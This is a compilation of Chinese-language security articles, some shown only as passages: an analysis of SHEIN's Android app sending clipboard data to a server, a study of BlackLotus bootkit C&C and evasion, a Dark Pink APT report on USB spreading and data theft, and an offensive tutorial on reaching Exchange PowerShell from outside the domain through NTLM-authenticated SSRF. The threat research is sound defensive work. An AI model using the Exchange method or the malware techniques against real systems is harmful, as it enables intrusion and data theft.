  14. 出於安全原因,在線加密貨幣錢包的地址由一長串字符組成。用戶傾向於使用剪貼板複製和粘貼地址,而不是由用戶通過鍵盤輸入錢包地址。一種名為“clipper”的惡意軟件利用了這一點。它攔截剪貼板的內容,並偷偷地用攻擊者想要破壞的內容替換它。在加密貨幣交易的情況下,受影響的用戶最終可能會將復制的錢包地址悄悄地切換到屬於攻擊者的地址。 這種危險形式的惡意軟件於2017 年首次在Windows 平台上傳播,並於2018 年夏季在陰暗的Android 應用商店中被發現。 2019 年2 月,在官方Android 應用商店Google Play 上首次出現了一個惡意竊取剪切板的程序。 安全研究人員發現一類潛伏在Google Play 商店中的Clipper 惡意軟件被殺毒軟件檢測為Android/Clipper.C 惡意程序,該惡意軟件模擬了一個名為MetaMask的合法服務。該惡意軟件的主要目的是竊取受害者的憑證和私鑰,以控制受害者的以太坊資金。但是,它也可以用屬於攻擊者的地址替換複製到剪貼板的比特幣或以太坊錢包地址。 為了減輕此類隱私風險,谷歌近年來對Android 進行了進一步改進,包括在應用程序訪問剪貼板時顯示toast 消息,並禁止應用程序獲取數據,除非它在前台主動運行。 前言安全研究人員發現,中國時尚電子零售商Shein 的Android 應用程序存在缺陷,允許從不知情的用戶那裡獲取剪貼板數據並將其傳輸到遠程服務器,受影響的用戶數量可能達到數百萬,因為Shein 的Android 應用程序在Google Play 商店中的下載量已超過1 億次。 Shein 原名ZZKKO,成立於2008 年,是一家總部位於新加坡的中國在線快時尚零售商。該應用程序目前的版本為9.0.0,在Google Play 商店中的下載量已達到上億次。該公司2021 年收入超過150 億美元,預計2022 年將超過200 億美元。 Microsoft 365 Defender 研究團隊表示,他們在2021 年12 月16 日發布的應用程序7.9.2 版本中發現了該問題。該問題已於2022 年5 月得到解決。 雖然微軟研究人員並未發現應用程序開發人員有任何惡意,但他們認為收集剪貼板數據對用戶正確使用該應用程序來說是不必要的。 Android 剪貼板的安全風險Android剪貼板最有趣的特點是它的全局可訪問性,也就是說,放在剪貼板上的所有內容都是公共的,設備上所有正在運行的應用程序都可以訪問,無需任何權限要求或用戶交互。 Android甚至允許應用程序通過向系統註冊一個回調監聽器來監控剪貼板上的數據更改。在桌面環境中,這不是一個嚴重的安全問題,因為它的剪貼板是用戶驅動的,一個窗口應該只在響應用戶[1]的命令時將數據傳輸到剪貼板或從剪貼板傳輸數據。 相比之下,Android將每個應用程序視為擁有不同特權的不同用戶。由於全局無保護訪問,各種用戶,即應用程序,都可以在Android剪貼板上任意操作,不受任何限制。更糟糕的是,移動設備的屏幕尺寸有限。首先,用戶更有可能在移動設備上複製和粘貼數據,以節省打字工作量。此外,在將內容從剪貼板粘貼到應用程序後,用戶可以看到的字符更少,從而減輕了攻擊者隱藏攻擊的工作量。攻擊者針對Android剪貼板的另一個優勢是在普通應用程序開發中缺乏安全考慮。 考慮到移動用戶經常使用剪貼板複製和粘貼敏感信息,如密碼或支付信息,剪貼板內容可能成為網絡攻擊的誘人目標。利用剪貼板可以使攻擊者收集目標信息並洩露有用數據。甚至存在攻擊者出於惡意目的劫持和替換剪貼板內容的示例,例如在用戶將復制的加密貨幣錢包地址粘貼到加密錢包應用程序或聊天消息之前修改它。此外,這些類型的攻擊濫用合法的系統功能而不是利用漏洞,使得問題更難以緩解。 微軟的安全團隊發現舊版本的SHEIN Android 應用程序會定期讀取Android 設備剪貼板的內容,如果存在特定模式,則會將剪貼板的內容髮送到遠程服務器。雖然我們並未具體了解該行為背後的任何惡意意圖,但我們評估認為該行為對於用戶在應用程序上執行任務而言並非必需。 SHEIN 的Android 應用程序在Google Play 商店發布,下載量超過1 億次。即使SHEIN 的剪貼板行為不涉及惡意,這個案例也凸顯了安裝的應用程序可能帶來的風險,包括那些非常受歡迎並從平台的官方應用程序商店獲得的應用程序。我們向Play 商店的運營商Google 公司報告了我們的發現,推動他們的Android 安全團隊展開調查。 2022 年5 月,谷歌通知我們,我們確認SHEIN 從應用程序中刪除了該行為。我們要感謝Google 的Android 安全團隊以及SHEIN 團隊為解決此問題所做的努力和協作。 在此博文中,我們詳細介紹了我們如何識別SHEIN 應用程序的剪貼板行為,以及Android 用戶如何保護自己免受基於剪貼板的攻擊。我們還與更大的安全社區分享這項研究,以強調協作在提高所有人安全性方面的重要性。 靜態和動態分析以下分析詳細說明了我們如何識別和驗證SHEIN 應用程序剪貼板行為的存在,我們分析的SHEIN 應用程序的版本是7.9.2 (SHA-256: ff07dc6e237acd19cb33e35c60cb2ae52c460aac76bc27116d8de76abec66c51 )。我們首先對應用程序進行了靜態分析,以確定對行為負責的相關代碼。然後,我們通過在檢測環境中運行該應用程序來執行動態分析以觀察代碼,包括它如何讀取剪貼板並將其內容髮送到遠程服務器。 圖1. 通過SHEIN 應用程序導致剪貼板訪問的調用鏈示例 識別代碼打開應用程序後,啟動器活動com.shein.user_service.welcome.WelcomeActivity擴展了com.zzkko.base.ui.BaseActivity類,該類在onResume回調中執行對iBaseActivityCallBack.h方法的調用,如下面第11 行所示: 圖2. com.zzkko.base.ui.BaseActivity 類在onResume 回調中執行對iBaseActivityCallBack.h方法的調用 com.zzkko.app.iBaseActivityCallBack是由com.zzkko.app.BaseActivityCallBack 實現的接口。上一次調用的方法h ,部分描述如下,在同一類中執行對方法o 的調用,如第16 行所示: 圖3. 方法h執行對同一類中方法o的調用 最後,在com.zzkko.app.BaseActivityCallBack.o方法中調用了com.zzkko.util.MarketClipboardPhaseLinker.f方法,如第2 行所示: 圖4. com.zzkko.app.BaseActivityCallBack.o方法調用com.zzkko.util.MarketClipboardPhaseLinker.f方法 方法com.zzkko.app.BaseActivityCallBack.f 的實現邏輯如下圖所示,檢查字符序列“$”和“://”是否存在於剪貼板文本中,如第6 行所示。如果兩者都存在,則調用同一類中的方法k,並將剪貼板文本作為參數提供,如第8行所示: 圖5. com.zzkko.app.BaseActivityCallBack.f方法檢查剪貼板中的“$”和“://”,將剪貼板文本作為參數提供給方法k 方法com.zzkko.app.BaseActivityCallBack.k啟動一個請求流,該請求流在BaseUrlConstant.APP_URL + “ /marketing/tinyurl/phrase ”處向服務器執行POST 請求,解析為https://api-service[.]shein[ .]com/marketing/tinyurl/phrase: 圖6. 方法com.zzkko.app.BaseActivityCallBack.k啟動一個請求流,它向位於BaseUrlConstant.APP_URL + “ /marketing/tinyurl/phrase ”的服務器執行POST 請求 由於應用程序的所有活動(用戶界面)都擴展了com.zzkko.base.ui.BaseActivity,因此只要用戶啟動新活動,例如通過啟動或恢復應用程序或在其中執行某些操作,就會觸發上述調用鏈應用程序。 驗證代碼的剪貼板行為為了驗證我們的靜態分析結果,我們對該應用程序進行了動態分析,該應用程序是我們從Google Play 商店安裝到運行Android 9 的三星設備上的。 我們使用Frida攔截對android.content.ClipboardManager.getText和com.zzkko.util.MarketClipboardPhaseLinker.f方法的調用,以分析應用程序的剪貼板行為。我們還使用Frida 繞過應用程序的內置證書,使我們能夠使用Burp Proxy分析網絡流量。 我們將設備剪貼板的內容設置為https://mybank[.]com/token=secretTokentransaction=100$並打開應用程序。 打開應用程序後,記錄了以下調用: 圖7. 顯示應用剪貼板過濾的通話記錄 在上面的圖7 中,我們觀察到以下內容: 第28 行:調用函數com.zzkko.util.MarketClipboardPhaseLinker.f 第29-49 行:堆棧跟踪函數com.zzkko.util.MarketClipboardPhaseLinker.F 第53、55 行:調用ClipboardManager的hasPrimaryClip和getPrimaryClip方法 最後,執行對api-service[.]shein[.]com 的POST 請求。隨後,我們在Burp Proxy 中捕獲了以下請求,顯示了剪貼板內容到遠程服務器的傳輸: 圖8. 將剪貼板內容傳輸到遠程服務器 安卓剪貼板保護如涉及SHEIN 的此案例所示,Android 應用程序可以調用android.text.ClipboardManager API 來讀取或寫入設備剪貼板,而無需請求用戶批准或需要任何特定的Android 權限。雖然調用ClipboardManager API 可以讓應用程序簡化用戶的流程,例如快速選擇要復制的文本,但應用程序通常不需要這樣做,因為複制和粘貼通常由設備輸入法編輯器(鍵盤)執行,它是一個單獨的應用程序。 為了解決我們的研究發現和手頭更廣泛的問題,谷歌已經認識到與剪貼板訪問相關的風險,並對Android平台進行了以下改進以保護用戶: 在Android 10 及更高版本上,應用程序無法訪問剪貼板,除非它當前具有焦點(正在設備顯示屏上主動運行)或被設置為默認輸入法編輯器(鍵盤)。此限制可防止後台應用程序訪問剪貼板,但不會阻止此處描述的行為,因為SHEIN 應用程序在前台運行。 在Android 12 及更高版本上,當應用程序首次調用ClipboardManager 以從另一個應用程序訪問剪貼板數據時,會顯示一條toast 消息通知用戶。 圖9. 訪問設備剪貼板時屏幕底部顯示的Toast 消息示例 Android 13會在一段時間後清除剪貼板的內容,以提供額外程度的保護。 用戶可以通過注意剪貼板訪問消息來保護自己。如果消息意外顯示,他們應該假設剪貼板上的任何數據都可能受到損害,並且他們應該考慮刪除任何進行可疑剪貼板訪問的應用程序。 負責任的披露和行業合作提高了所有人的安全雖然我們不知道SHEIN 是否有任何惡意,但即使是應用程序中看似良性的行為也可能被惡意利用。針對剪貼板的威脅可能會使任何復制和粘貼的信息面臨被攻擊者竊取或修改的風險,例如密碼、財務詳細信息、個人數據、加密貨幣錢包地址和其他敏感信息。 我們建議用戶進一步遵循以下安全準則來防範此類風險和類似風險: 始終保持設備和已安裝的應用程序是更新後的最新狀態 切勿安裝來自不受信任來源的應用程序 考慮刪除具有意外行為的應用程序,例如剪貼板訪問toast 通知,並將該行為報告給供應商或應用程序商店運營商 在發現SHEIN Android 應用程序剪貼板行為後,我們與Google 的Android 安全團隊合作,確保從應用程序中刪除此行為。我們感謝Google 和SHEIN 團隊為解決該問題所做的努力和協作。
  15. 與HTTP下載器的通信內核驅動程序能夠通過使用命名的Event和Section與HTTP下載器通信。所使用的命名對象的名稱是根據受害者的網絡適配器MAC地址(以太網)生成的。如果一個八位字節的值小於16,那麼將向其添加16。生成的對象名稱的格式可能在不同的示例中有所不同。例如,在我們分析的一個示例中,對於MAC地址00-1c-0b-cd-ef-34,生成的名稱為: \BaseNamedObjects\101c1b:用於命名部分(僅使用MAC的前三個八位字節); \BaseNamedObjects\Z01c1b:用於命名事件,與Section相同,但MAC地址的第一個數字被替換為Z; 如果HTTP下載器想要將一些命令傳遞給內核驅動程序,它只需要創建一個命名的節,在其中寫入一個包含相關數據的命令,並通過創建一個指定事件等待驅動程序處理該命令,直到驅動程序觸發(或發出信號)該命令。 驅動程序支持以下一目了然的命令: 安裝內核驅動程序; 卸載BlackLotus; 細心的讀者可能會注意到這裡的BlackLotus弱點,即使bootkit保護其組件不被刪除,內核驅動程序也可以通過創建上述命名對象並向其發送卸載命令來完全卸載bootkit。 HTTP下載器最後一個組件負責與CC服務器通信,並執行從其接收的任何CC命令。我們能夠發現的所有有效載荷都包含三個命令。這些命令非常簡單,正如部分名稱所示,主要是使用各種技術下載和執行額外的有效載荷。 CC通信為了與其CC通信,HTTP加載器使用HTTPS協議。通信所需的所有信息都直接嵌入到下載器二進製文件中,包括使用的CC域和HTTP資源路徑。與CC服務器通信的默認間隔設置為一分鐘,但可以根據CC的數據進行更改。與CC的每個通信會話都從向其發送信標HTTP POST消息開始。在我們分析的示例中,可以在HTTP POST標頭中指定以下HTTP資源路徑: /network/API/hpb_gate[.]php /API/hpb_gate[.]php /gate[.]php /hpb_gate[.]php 信標消息數據以checkin=字符串開頭,包含有關受攻擊機器的基本信息,包括自定義設備標識符(稱為HWID)、UEFI Secure Boot狀態、各種硬件信息以及一個看起來是BlackLotus內部版本號的值。 HWID由設備MAC地址(以太網)和系統卷序列號生成。加密前的消息格式如下圖所示。 在向CC發送消息之前,首先使用嵌入的RSA密鑰對數據進行加密,然後使用URL安全的base64編碼。在分析過程中,我們發現樣本中使用了兩個不同的RSA密鑰。這種HTTP信標請求的示例如下圖所示。 信標HTTP POST消息示例(由VirusTotal中的示例生成——具有本地IP而非真實CC地址的示例) 作為對信標消息的響應,從CC接收的數據應以兩字節魔法值HP開頭;否則,不進一步處理響應。如果魔法值正確,則在CBC模式下使用256位AES對魔法值之後的數據進行解密,並使用上述HWID字符串作為密鑰。 解密後,該消息類似於信標,一個JSON格式的字符串,並指定命令標識符(稱為Type)和各種附加參數,例如: CC通信間隔; 執行方法; 有效負載文件名; 基於文件擴展名的負載類型(支持.sys、exe或.dll); 應該用於請求下載有效負載數據的身份驗證令牌; 用於解密有效負載數據的AES密鑰; 下表列出了所有支持的命令及其說明。 表2:CC命令 在這些命令中,CC可以指定是在執行負載之前先將其放到磁盤上,還是直接在內存中執行。在將文件放到磁盤的情況下,操作系統卷上的ProgramData文件夾將用作目標文件夾,文件名和擴展名由CC服務器指定。在直接在內存中執行文件的情況下,svchost.exe用作注入目標。當CC發送需要內核驅動程序協作的命令時,或者操作員希望以內核模式執行代碼時,將使用與HTTP下載器通信部分中描述的機制。 反分析技巧為了更難檢測和分析這一惡意軟件,其開發者試圖將標准文件工件(如文本字符串、導入或其他未加密的嵌入數據)的可見性限制在最低限度。以下是所用技術的摘要。 字符串和數據加密:示例中使用的所有字符串都使用簡單的密碼進行加密; 所有嵌入的文件都在CBC模式下使用256位AES加密; 各文件的加密密鑰可能因樣本而異; 除AES加密之外,一些文件還使用LZMS進行壓縮。 Runtime-onlyAPI解析:在所有示例中(如果適用),Windows API總是在運行時進行排他解析,並且使用函數哈希而不是函數名來查找內存中所需的API函數地址; 在某些情況下,直接syscall指令調用用於調用所需的系統函數; 網絡通信:使用HTTPS通信; HTTP下載器發送到CC的所有消息都使用嵌入的RSA公鑰進行加密; 從CC發送到HTTP下載器的所有消息都使用來自受害者設備環境的密鑰或CC提供的AES密鑰進行加密; 反調試和反VM技巧:如果使用該方法,通常放在入口點的開頭,僅使用臨時沙盒或調試器檢測技巧。 緩解措施和補救措施首先,必須保持所使用的系統及其安全產品是最新的; 然後,要防止使用已知的易受攻擊UEFI二進製文件繞過UEFI Secure Boot,需要採取的關鍵步驟是在UEFI取消數據庫(dbx)中取消這些二進製文件,在Windows系統上,應使用Windows Update傳播dbx更新。 問題是,廣泛使用的Windows UEFI二進製文件的取消可能會導致數千個過時的系統、恢復映像或備份無法啟動,因此,取消通常需要很長時間。 請注意,BlackLotus使用的Windows應用程序的取消將阻止啟動工具包的安裝,但由於安裝程序將用已取消的啟動加載器替換受害者的啟動加載器,這可能會使系統無法啟動。要在這種情況下進行恢復,重新安裝操作系統或僅進行ESP恢復即可解決問題。 如果在設置BlackLotus持久性之後發生取消,則bootkit將保持正常運行,因為它使用具有自定義MOK密鑰的合法填充程序進行持久性。在這種情況下,最安全的緩解方案是重新安裝Windows,並使用mokutil實用程序刪除攻擊者註冊的MOK密鑰(由於在啟動過程中需要用戶與MOK管理器進行必要的交互,因此執行此操作需要實體存在)。 總結在過去幾年中,已經發現了許多影響UEFI系統安全的關鍵漏洞。不幸的是,由於整個UEFI生態系統的複雜性和相關的供應鏈問題,即使在漏洞修復後很長一段時間,或者至少在用戶被告知它們已修復後,這些漏洞中的許多漏洞仍會使許多系統處於易受攻擊狀態。下面是一些去年允許UEFI Secure Boot繞過的修復或取消失敗的示例: 首先,當然是CVE-2022-21894,這是一個被BlackLotus利用的漏洞。在修復該漏洞一年後,易受攻擊的UEFI二進製文件仍然沒有被取消,這使得BlackLotus等攻擊可以在啟用了UEFI Secure Boot的系統上秘密運行。 早在2022年,研究人員就披露了幾個允許禁用UEFI Secure Boot的UEFI漏洞。許多受影響的設備不再受到OEM的支持,但在聯想消費級筆記本電腦中發現高影響的UEFI漏洞。 在2022年晚些時候,研究人員發現了其他一些UEFI漏洞,這些漏洞也允許攻擊者很容易地禁用UEFI Secure Boot。正如Binarly的研究人員指出的那樣,在警告發布幾個月後,警告中列出的幾個設備都沒有被修復,或者沒有正確地被修復,這使得這些設備容易受到攻擊。與前面的情況類似,一些設備將永遠處於易受攻擊狀態,因為它們已經無法更新。在不遠的將來,有攻擊者會濫用這些漏洞,創建一個能夠在啟用UEFI Secure Boot的系統上運行的UEFIbootkit。
  16. 0x00 前言Exchange Powershell基於PowerShell Remoting,通常需要在域內主機上訪問Exchange Server的80端口,限制較多。本文介紹一種不依賴域內主機發起連接的實現方法,增加適用範圍。 注: 該方法在CVE-2022–41040中被修復,修復位置:C:\Program Files\Microsoft\Exchange Server\V15\Bin\Microsoft.Exchange.HttpProxy.Common.dll中的RemoveExplicitLogonFromUrlAbsoluteUri(string absoluteUri, string explicitLogonAddress),如下圖 0x01 簡介本文將要介紹以下內容: 實現思路 實現細節 0x02 實現思路常規用法下,使用Exchange Powershell需要注意以下問題: 所有域用戶都可以連接Exchange PowerShell 需要在域內主機上發起連接 連接地址需要使用FQDN,不支持IP 常規用法無法在域外發起連接,而我們知道,通過ProxyShell可以從域外發起連接,利用SSRF執行Exchange Powershell 更進一步,在打了ProxyShell的補丁後,支持NTLM認證的SSRF沒有取消,我們可以通過NTLM認證再次訪問Exchange Powershell 0x03 實現細節在代碼實現上,我們可以加入NTLM認證傳入憑據,示例代碼: 在執行Exchange Powershell命令時,我們可以選擇pypsrp或者Flask,具體細節可參考之前的文章《ProxyShell利用分析2——CVE-2021-34523》 和《ProxyShell利用分析3——添加用户和文件写入》 pypsrp或者Flask都是通過建立一個web代理,過濾修改通信數據實現命令執行 為了增加代碼的適用範圍,這裡選擇另外一種實現方法:模擬Exchange Powershell的正常通信數據,實現命令執行 可供參考的代碼:https://gist.github.com/rskvp93/4e353e709c340cb18185f82dbec30e58 代碼使用了Python2,實現了ProxyShell的利用 基於這個代碼,改寫成支持Python3,功能為通過NTLM認證訪問Exchange Powershell執行命令,具體需要注意的細節如下: 1.Python2和Python3在格式化字符存在差異(1) Python2下可用的代碼: 以上代碼在Python3下使用時,需要將Str轉為bytes,並且為了避免不可見字符解析的問題,代碼結構做了重新設計,Python3可用的代碼: (2) Python2下可用的代碼: 以上代碼在Python3下使用時,需要將Str轉為bytes,Python3可用的示例代碼: (3) Python2下可用的代碼: 以上代碼在Python3下使用時,需要將Str轉為bytes,為了避免不可見字符解析的問題,這裡不能使用.decode('utf-8'),改為使用.decode('ISO-8859-1') Python3可用的示例代碼: 2.支持Exchange Powershell命令的XML文件格式XML文件格式示例1: 對應執行的命令為:Get-RoleGroupMember 'Organization Management' XML文件格式示例2: 對應執行的命令為:Get-Mailbox -Identity administrator 通過格式分析,可得出以下結論: (1)屬性Cmd對應命令名稱例如: (2)傳入的命令參數需要注意格式如果只傳入1個參數,對應的格式為: 如果傳入2個參數,對應的格式為: 如果傳入4個參數,對應的格式為: 為此,我們可以使用以下代碼實現參數填充: 構造XML文件格式的實現代碼: 結合以上細節後,我們可以得出最終的實現代碼,代碼執行結果如下圖 0x04 小結本文介紹了遠程訪問Exchange Powershell的實現方法,優點是不依賴於域內主機上發起連接,該方法在CVE-2022–41040中被修復。
  17. 偵察和橫向移動只要受害者組織網絡中的一台設備被攻擊,Dark Pink的下一個目標是收集盡可能多的關於受害者網絡基礎設施的信息。研究人員發現攻擊者對以下內容感興趣: 來自標準實用程序的信息,例如標準實用程序systeminfo的輸出; 來自網絡瀏覽器的信息; 安裝軟件,包括防病毒解決方案; 有關連接的USB設備和網絡共享的信息; 攻擊者還收集了可用於寫入的網絡和USB驅動器列表,然後將這些驅動器用於橫向移動。接下來,攻擊會看到用啟動TelePowerDropper的命令創建一個LNK文件(Windows快捷方式),而不是原始文件。在這個階段,受害者是看不見原始文件的。 攻擊者如何在USB設備上進行橫向移動?首先攻擊者註冊一個新的WMI事件處理程序。從現在開始,每次將USB設備插入受感染的設備時,都會執行一個特定的操作,看到TeleBotDropper下載並存儲在USB設備。讓我們更深入地分析一下這個過程。 1.受害者將USB設備插入受攻擊設備; 2.WMI事件被觸發,並導致從攻擊者的Github帳戶自動下載. zip壓縮文件。這個壓縮文件中有三個文件:Dism.exe,Dism.sys和Dismcore.dll。第一個文件是具有有效數字簽名的合法文件。 DLL文件的功能是從文件Dism.sys中解壓縮原始可執行文件。 3.壓縮文件被解壓縮到%tmp%文件夾,然後將這些文件複製到USB設備,並在其中創建一個名為“dism”的新文件夾。文件夾屬性更改為隱藏和系統; 4.創建一個名為system.bat的文件,其中包含啟動Dism.exe的命令; 5.最後,創建的LNK文件數量與USB驅動器上的文件夾數量相同。原始文件夾的屬性將更改為隱藏和系統。使用命令創建LNK文件,打開explorer.exe中的隱藏文件夾並啟動system.bat。 之後,用戶將看到與USB設備上找到的文件夾同名的LNK文件。一旦用戶打開此惡意LNK文件,TeleBotDropper將通過DLL側加載技術啟動(TeleBotDroper的功能已在上一節中顯示)。結果,讀取註冊表項、解密和啟動TelePowerBot的命令被傳輸到新設備。必須記住,如果USB設備上只有一個文件夾,則此解決方案有效。這就是為什麼我們觀察到不同的實現,例如,在USB設備上創建LNK文件而不是.pdf文件(不僅僅是文件夾)。附錄B中提供了更詳細的工作原理示例,在原始文件的位置創建LNK文件的機制也用於網絡共享。 數據洩露與許多其他類似攻擊一樣,攻擊者通過ZIP壓縮文件洩露數據。在Dark Pink攻擊期間,所有要發送給攻擊者的數據(來自公共網絡共享的文件列表、web瀏覽器數據、文檔等)都堆疊在$env:tmp\backuplog文件夾中。但是,收集和發送過程彼此獨立運行。當受攻擊的設備發出下載$env:tmp\backuplog文件夾的命令時,文件列表將被複製到$env:tmp\backuplog文件夾中,添加到壓縮文件並發送到攻擊者的Telegram木馬。在此步驟完成後,$env:tmp\ backuplo1目錄將被刪除。 攻擊者還可以利用他們自定義的竊取程序Cucky和Ctealer從受攻擊的設備中提取數據。這兩個竊取程序的功能是一樣的。它們可以用來從網絡瀏覽器中提取密碼、歷史記錄、登錄名和cookie等數據。竊取程序本身不需要任何互聯網連接,因為他們將執行結果(被盜數據)保存到文件中。通過惡意軟件發出的命令,可以從攻擊者的Github帳戶自動下載這兩種竊取程序。用於啟動Cucky的腳本示例見附錄C。 總的來說,Group-IB研究人員發現,Dark Pink通過三個不同的途徑洩露文件。第一種途徑是攻擊者使用Telegram接收文件。當設備被攻擊時,惡意軟件會收集特定文件夾中的信息,並通過一個特殊命令通過Telegram發送。通過擴展,發送給攻擊者的文件是:doc,docx, xls,xlsx,ppt,pptx,pdf,執行此過程的腳本示例可以在附錄D中找到。 除了Telegram, Group-IB還發現了攻擊者通過Dropbox竊取文件的證據。這種方法與通過Telegram進行竊取的方法略有不同,因為它涉及一系列PowerShell腳本,通過使用硬編碼令牌執行HTTP請求,將文件從特定文件夾傳輸到Dropbox帳戶。 Group-IB還發現了一次特別的攻擊,儘管該設備是由攻擊者控制的Telegram方式通過Telegram木馬發出的命令控制的,但一些有趣的文件是通過電子郵件發送的。該命令的示例如下所示。 數據洩露過程中使用的郵件列表如下所示: 在這一階段,Group-IB研究人員認為,選擇的洩露方法取決於受害者網絡基礎設施中設置的潛在限制。 逃避技術在他們的攻擊過程中,攻擊者使用了一種已知的技術來繞過用戶帳戶控制(UAC)來更改Windows Defender中的設置。他們通過提升COM接口來做到這一點。所使用的方法並不是唯一的,在不同的編程語言中發現了不同的實現。 允許繞過UAC的反編譯可執行文件截圖 設置由一個特殊的PowerShell腳本更改,該腳本作為命令接收,並在.NET應用程序中實現。該命令以可執行文件(在base64視圖中)的形式出現,在攻擊時自動從Github下載。可執行文件不會獲得持久性,也不會保存在受攻擊的系統上。可執行文件不會持久存在,也不會保存到受攻擊的系統中。下載和啟動的示例如下所示。 修改Windows Defender設置的PowerShell命令作為參數傳遞,如下所示: PowerShell命令將使用.NET應用程序作為權限升級工具來執行 工具CuckyCucky是在.NET上開發的一個簡單的自定義竊取程序。在調查過程中發現了各種各樣的樣本。分析最多的版本是由Confuser打包的。它不與網絡通信,收集的信息保存在文件夾%TEMP%\backuplog中。 Cucky能夠從目標網絡瀏覽器中提取密碼、歷史記錄、登錄名和cookie等數據。雖然我們沒有任何與使用被盜數據相關的信息,但我們認為它可以用於訪問電子郵件web客戶端,根據web歷史進行額外的基礎設施偵察,編制組織員工列表,傳播惡意附件,並評估目標設備是真實的還是虛擬的。 Cucky具有從以下瀏覽器竊取數據的功能: Chrome, MS Edge, CocCoc, Chromium, Brave, Atom, Uran, Sputnik, Slimjet, Epic Privacy, Amigo, Vivaldy, komita, Comodo, Nichrome, Maxthon, Comodo Dragon, Avast瀏覽器,Yandex瀏覽器。 反編譯的Cucky 竊取程序的截圖 找到的示例包含以下調試信息的路徑: CtealerCtealer是Cucky的模擬版本,但是在C/c++上開發的。 TelePowerDropper或攻擊者發出的特殊命令可用於部署Ctealer。工作過程也非常類似於Cucky,因為它還將收集的文件保存到%TEMP%\backuplog文件夾。 Ctealer可以從以下web瀏覽器獲取信息: Chrome, Chromium, MS Edge, Brave, Epic Privacy, Amigo, Vivaldi, Orbitum, Atom, komita, Dragon, Torch, Comodo, Slimjet, 360瀏覽器,Maxthon, K-Melon, Sputnik, nicchrorome, CocCoc, Uran, Chromodo, Yandex瀏覽器。 找到的示例包含以下調試信息的路徑: TelePowerBot正如我們已經註意到的,每次受攻擊設備的用戶登錄系統時,TelePowerBot都會被啟動。當這種情況發生時,將啟動一個特殊的腳本。腳本讀取另一個regkey的值(例如HKCU\SOFTWARE\Classes\abcdfile\shell\abcd),開始解密並啟動TelePowerBot。加密基於xor,其中密鑰是0到256之間的數組號。在解密之前,原始有效負載將從base64解碼。去模糊化的命令示例如下: 解密階段不是最終階段,這是一個中間階段,也是基於PowerShell的,並且是高度模糊的。在這個階段,最終腳本已經存儲在階段中,但是它被分割成塊。由此,創建一個base64字符串,解碼後,我們將得到一個ZIP流。最後,TelePowerBot在解壓縮後啟動。 該工具可以與Telegram通道通信,以接收來自攻擊者的新任務。木馬可以與各種受攻擊的設備通信,木馬每60秒檢查一次新命令。在執行過程中,木馬使用兩個註冊表項:HKCU\Environment\Update和HKCU\Environment\guid。第一個存儲最後一個消息id,該消息id由Telegram木馬處理(來自Telegram的參數update_id)。第二個密鑰存儲受攻擊設備的唯一標識。它是在木馬第一次啟動時由命令[guid]:NewGuid()生成的。註冊後,攻擊者就會獲得有關受攻擊設備的各種信息,如ip、guid、設備名稱。 IP地址也通過獲取請求來確定https://ifconfig.me/ip,這些進程也是基於PowerShell命令的,我們將在後面的報告中更深入地討論這些命令。木馬的實施如附錄A所示。 該模塊的一些變體包含用於確保橫向移動的附加功能。所有其他功能都是一樣的。在Group-IB進行分析的情況下,Telegram參數可以硬編碼在腳本中,也可以從註冊表項中讀取。 KamiKakaBotKamiKakaBot是TelePowerBot的. net版本,我們發現它們之間幾乎沒有區別。在讀取命令之前,KamiKakaBot能夠從Chrome, MS Edge和Firefox瀏覽器中竊取。它能夠更新自己,一旦它接收到命令,它可以將參數傳遞給cmd.exe進程。 詳細說明包含KamiKakaBot的反編譯可執行文件的屏幕截圖 PowerSploit/Get-MicrophoneAudio如上所述,Dark Pink背後的攻擊者幾乎只利用定制工具。然而,為了記錄來自受感染設備的麥克風音頻,他們轉向了公開可用的PowerSploit模塊-Get-MicrophoneAudio。這是通過從Github下載加載到受害者的設備上的。 Group-IB研究人員發現,當攻擊者試圖啟動該模塊時,受害者設備上的防病毒軟件會阻止這一進程。我們發現攻擊者試圖混淆原始的PowerSploit模塊,使其無法被檢測到,但這些都沒有成功。結果,攻擊者返回繪圖板並添加了一個腳本(如下所示),該腳本能夠成功地在受攻擊的設備上錄製麥克風音頻。 這個簡單的腳本啟動了一個後台任務,它會觸發一個標準實用程序PSR,以每分鐘捕獲一次聲音。錄製的音頻文件將保存在位於臨時文件夾(%TEMP%\record)的ZIP壓縮文件中。文件的命名模板如下:“yyyyMMddHHmmss”。然後,這些音頻文件被一個單獨的腳本洩露,該腳本將它們(作為ZIP壓縮文件)發送給攻擊者的Telegram木馬。 ZMsg(即時通訊工具信息洩露)攻擊者還對從受攻擊設備上的即時通訊工具中竊取數據感興趣。為此,它們能夠執行命令來識別主要的即時通訊工具,如Viber、Telegram和Zalo。在Viber的示例中,這些命令允許攻擊者竊取受攻擊設備上的%APPDATA%\Viberpc文件夾,從而允許他們訪問受害者的消息和聯繫人列表。我們仍在努力評估攻擊者能夠從受攻擊設備上的Telegram賬戶中獲取什麼信息,但Zalo的示例卻非常獨特。 如果受害者的設備上存在Zalo即時通訊工具,攻擊者可以啟動命令從Github下載一個特殊的實用程序(Group-IB稱為ZMsg)。這個實用程序是一個基於FlaUI庫的.NET應用程序,它允許組織在Zalo平台上竊取受害者的消息。 FlaUI是一個幫助Windows應用程序自動UI測試的庫,入口點通常是應用程序或桌面,以生成自動化元素。通過這種方式,可以分析子元素並與其交互。 ZMsg迭代Windows應用程序中的元素,以發現具有特定名稱的元素。例如,帶有消息的元素的名稱為“messageView”。所有收集的信息存儲在%TEMP%\KoVosRLvmU\文件夾中,文件擴展名為.dat和.bin。文件名創建為編碼的十六進製字符串,並根據以下模板生成: %PERSON_NAME%_%DAY%_%MONTH%_%YEAR% 命令攻擊者通過指定ip、設備名或botid向受攻擊的設備發出命令,還可以同時向所有受感染的設備發出任務。在檢查過程中,我們注意到幾種不同的命令。其中一些命令的功能是重疊的,但它們都基於PowerShell命令。例如,TelePowerBot可以執行一個簡單的標準控制台工具,比如whoami,或者一個複雜的PowerShell腳本。 在攻擊期間,攻擊者執行幾個標準命令(例如net share、Get-SmbShare)來確定哪些網絡資源連接到受攻擊的設備。如果發現網絡磁盤的使用情況,他們將開始探索這個磁盤,以找到他們可能感興趣的文件,並可能對其進行竊取。在上一節中,我們注意到Dark Pink攻擊者如何進行橫向移動。在此活動中,攻擊者還可以攻擊連接到受攻擊設備的USB設備上的文件。下面的腳本詳細說明了攻擊者如何編譯網絡共享和連接到設備的可移動設備的列表。 攻擊者還可以發出命令,截取受攻擊設備的桌面截圖,並將這些截圖保存在%TEMP%目錄中。然後通過發出下面的命令來下載圖像。 總結Dark 